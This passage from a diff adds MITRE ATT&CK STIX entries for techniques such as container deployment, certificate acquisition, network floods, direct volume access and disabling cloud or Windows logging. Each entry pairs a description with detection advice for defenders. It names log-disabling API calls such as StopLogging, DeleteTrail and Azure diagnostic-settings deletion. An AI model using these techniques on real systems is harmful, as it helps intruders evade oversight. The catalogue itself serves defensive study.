"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1140", + "external_id": "T1140", + "source_name": "mitre-attack" + }, + { + "source_name": "Malwarebytes Targeted Attack against Saudi Arabia", + "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.", + "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" + }, + { + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/" + }, + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Deploy Container", + "x_mitre_data_sources": [ + "Container: Container Creation", + "Container: Container Start", + "Pod: Pod Creation", + "Pod: Pod Modification", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-14T12:02:20.641Z", + "created": "2021-03-29T16:51:26.020Z", + "x_mitre_contributors": [ + "Pawan Kinger, @kingerpawan, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Idan Frimark, Cisco", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1610", + "external_id": "T1610", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.", + "source_name": "Docker Containers API" + }, + { + "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.", + "source_name": "Kubernetes Dashboard" + }, + { + "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/", + "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.", + "source_name": "Kubeflow Pipelines" + }, + { + "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host", + "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", + "source_name": "Aqua Build Images on Hosts" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Determine Physical Locations", + "x_mitre_version": "1.1", + "modified": "2021-08-27T15:37:09.025Z", + "created": "2020-10-02T16:32:33.126Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867", + "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1591/001", + "external_id": "T1591.001", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "source_name": "ThreatPost Broadvoice Leak" + }, + { + "url": "https://www.sec.gov/edgar/search-and-access", + "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.", + "source_name": "SEC EDGAR Search" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Develop Capabilities", + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata", + "Malware Repository: Malware Content", + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:07:08.768Z", + "created": "2020-10-01T01:30:00.877Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", + "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1587", + "external_id": "T1587", + "source_name": "mitre-attack" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", + "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.", + "source_name": "Bitdefender StrongPity June 2020" + }, + { + "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", + "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.", + "source_name": "Talos Promethium June 2020" + }, + { + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "source_name": "Splunk Kovar Certificates 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Digital Certificates", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-16T17:32:34.604Z", + "created": "2020-10-01T01:42:24.974Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", + "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1587/003", + "external_id": "T1587.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "source_name": "Splunk Kovar Certificates 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Digital Certificates", + "x_mitre_data_sources": [ + "Certificate: Certificate Registration", + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-16T17:44:09.486Z", + "created": "2020-10-01T02:14:18.044Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", + "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1588/004", + "external_id": "T1588.004", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/", + "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", + "source_name": "DiginotarCompromise" + }, + { + "url": "https://letsencrypt.org/docs/faq/", + "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.", + "source_name": "Let's Encrypt FAQ" + }, + { + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "source_name": "Splunk Kovar Certificates 2017" + }, + { + "url": "https://www.recordedfuture.com/cobalt-strike-servers/", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.", + "source_name": "Recorded Future Beacon Certificates" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Digital Certificates", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:48:37.628Z", + "created": "2020-10-02T16:58:58.738Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca", + "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1596/003", + "external_id": "T1596.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.sslshopper.com/ssl-checker.html", + "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.", + "source_name": "SSLShopper Lookup" + }, + { + "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2", + "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.", + "source_name": "Medium SSL Cert" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Direct Network Flood", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-29T16:11:56.727Z", + "created": "2020-03-02T20:07:18.651Z", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", + "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1498/001", + "external_id": "T1498.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/125.html", + "external_id": "CAPEC-125", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/486.html", + "external_id": "CAPEC-486", + "source_name": "capec" + }, + { + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "source_name": "USNYAG IranianBotnet March 2016" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Direct Volume Access", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Drive: Drive Access" + ], + "x_mitre_version": "2.0", + "modified": "2021-02-09T14:09:00.753Z", + "created": "2017-05-31T21:30:20.934Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_defense_bypassed": [ + "File monitoring", + "File system access controls" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1006", + "external_id": "T1006", + "source_name": "mitre-attack" + }, + { + "source_name": "Hakobyan 2009", + "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.", + "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin" + }, + { + "source_name": "Github PowerSploit Ninjacopy", + "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.", + "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disable Cloud Logs", + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Modification", + "Cloud Service: Cloud Service Disable" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-15T16:43:04.273Z", + "created": "2020-10-12T13:52:32.846Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)", + "x_mitre_contributors": [ + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee ", + "Ibrahim Ali Khan", + "Alex Soler, AttackIQ", + "Janantha Marasinghe", + "Matt Snyder, VMware" + ], + "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/008", + "external_id": "T1562.008", + "source_name": "mitre-attack" + }, + { + "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/", + "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.", + "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic" + }, + { + "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html", + "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.", + "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs" + }, + { + "url": "https://cloud.google.com/logging/docs/audit/configure-data-access", + "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.", + "source_name": "Configuring Data Access audit logs" + }, + { + "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete", + "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.", + "source_name": "az monitor diagnostic-settings" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disable Crypto Hardware", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-21T22:37:48.503Z", + "created": "2020-10-19T19:11:18.757Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5", + "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1600/002", + "external_id": "T1600.002", + "source_name": "mitre-attack" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Disable Windows Event Logging", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Script: Script Execution", + "Windows Registry: Windows Registry Key Creation", + "Application Log: Application Log Content", + "Sensor Health: Host Status", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-19T13:37:30.534Z", + "created": "2020-02-21T20:46:36.688Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": 